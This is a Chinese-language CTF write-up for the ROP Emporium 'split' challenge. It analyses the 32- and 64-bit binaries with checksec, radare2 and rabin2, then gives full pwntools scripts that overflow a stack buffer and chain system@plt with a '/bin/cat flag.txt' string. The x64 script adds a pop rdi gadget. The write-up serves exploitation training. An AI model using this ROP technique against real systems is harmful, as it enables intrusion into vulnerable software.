Challenge2_split

split

题目链接:https://ropemporium.com/challenge/split.html

x86

根据题目描述,这个二进制程序中存在有用的字符串/bin/cat flag.txt,并且存在对system函数的调用。结合题目名字,猜测是将函数调用跟所需的参数分开了,需要我们自己去拼接起来。大致思路就是分别找到函数跟字符串的地址,然后拼成一个简单的ROP链即可。

首先,照例检查程序的保护情况:

1
2
3
4
5
6
7
$ checksec ./split32 
[*]'/home/giantbranch/Desktop/rop_emporium_all_challenges/level2_split/32/split32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

使用radare2查看程序中的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ r2 -A ./split
[0x08048430]> afl
0x08048430 1 50 entry0
0x08048463 1 4 fcn.08048463
0x080483f0 1 6 sym.imp.__libc_start_main
0x08048490 4 41 sym.deregister_tm_clones
0x080484d0 4 54 sym.register_tm_clones
0x08048510 3 31 sym.__do_global_dtors_aux
0x08048540 1 6 sym.frame_dummy
0x080485ad 1 95 sym.pwnme
0x08048410 1 6 sym.imp.memset
0x080483d0 1 6 sym.imp.puts
0x080483c0 1 6 sym.imp.printf
0x080483b0 1 6 sym.imp.read
0x0804860c 1 25 sym.usefulFunction
0x080483e0 1 6 sym.imp.system
0x08048690 1 2 sym.__libc_csu_fini
0x08048480 1 4 sym.__x86.get_pc_thunk.bx
0x08048694 1 20 sym._fini
0x08048630 4 93 sym.__libc_csu_init
0x08048470 1 2 sym._dl_relocate_static_pie
0x08048546 1 103 main
0x08048400 1 6 sym.imp.setvbuf
0x08048374 3 35 sym._init
0x08048420 1 6 sym..plt.got
[0x08048430]>

可以看到,几个名字比较关键的函数,pwnmeusefulFunctionmain

在这个系列的挑战中,main函数的作用就是调用pwnme函数,此后的系列题解中,无特殊情况,我们就不再重复查看main函数。

我们先看pwnme函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[0x08048430]> s sym.pwnme
[0x080485ad]> pdg

void sym.pwnme(void)

{
uint s;

sym.imp.memset(&s, 0, 0x20);
sym.imp.puts("Contriving a reason to ask user for data...");
sym.imp.printf(0x8048700);
sym.imp.read(0, &s, 0x60);
sym.imp.puts("Thank you!");
return;
}

可以很容易看到,read函数处存在明显的缓冲区溢出漏洞,偏移量使用clclic计算为44。

接着查看usefulFunction函数:

1
2
3
4
5
6
7
8
9
[0x080485ad]> s sym.usefulFunction 
[0x0804860c]> pdg

void sym.usefulFunction(void)

{
sym.imp.system("/bin/ls");
return;
}

可以看到,usefulFunction函数内部调用了system函数,这也对应了题目的提示,程序中存在对system函数的调用。通过前边afl命令我们可以看到system函数的虚拟地址为0x080483e0

接下来我们根据题目提示查找/bin/cat flag.txt字符串的地址

1
2
3
4
5
6
7
8
9
10
11
$ rabin2 -z ./split32 
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x000006b0 0x080486b0 21 22 .rodata ascii split by ROP Emporium
1 0x000006c6 0x080486c6 4 5 .rodata ascii x86\n
2 0x000006cb 0x080486cb 8 9 .rodata ascii \nExiting
3 0x000006d4 0x080486d4 43 44 .rodata ascii Contriving a reason to ask user for data...
4 0x00000703 0x08048703 10 11 .rodata ascii Thank you!
5 0x0000070e 0x0804870e 7 8 .rodata ascii /bin/ls
0 0x00001030 0x0804a030 17 18 .data ascii /bin/cat flag.txt

可以我们所需的字符串在最后一项,其虚拟地址为:0x0804a030

我们构造ROP链所需的东西都找齐了,现在我们可以构造payload了,完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = process('./split32')
e = ELF('./split32')
offset = 44

# system_addr = p32(0x80483e0)
system_addr = p32(e.plt["system"])
bin_cat_addr = p32(0x0804a030)
payload = offset*b'A' + system_addr + p32(1) + bin_cat_addr

p.sendline(payload)
p.interactive()

执行结果如下:

image-20230313160454083

x64

与x86类似,但需要注意的是在64位环境下,函数参数的传递方式发生了变化,前六个参数改为了由寄存器传递,此处我们还需要找一个gadget来传递字符串参数。

1
2
$ ROPgadget --binary ./split --only "pop|ret" | grep rdi
0x00000000004007c3 : pop rdi ; ret

其余函数地址跟字符串地址的查找方式同上,不再赘述。

完整的exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p = process('./split')
e = ELF('./split')


offset = 40

# system_addr = p64(0x400560)
system_addr = p64(e.plt["system"]) #get system address

pop_rdi_addr = p64(0x00000000004007c3)

bin_cat_addr = p64(0x0000000000601060)

payload = offset*b'A' + pop_rdi_addr + bin_cat_addr + system_addr
#Note the difference of 32bit and 64bit

p.sendline(payload)
p.interactive()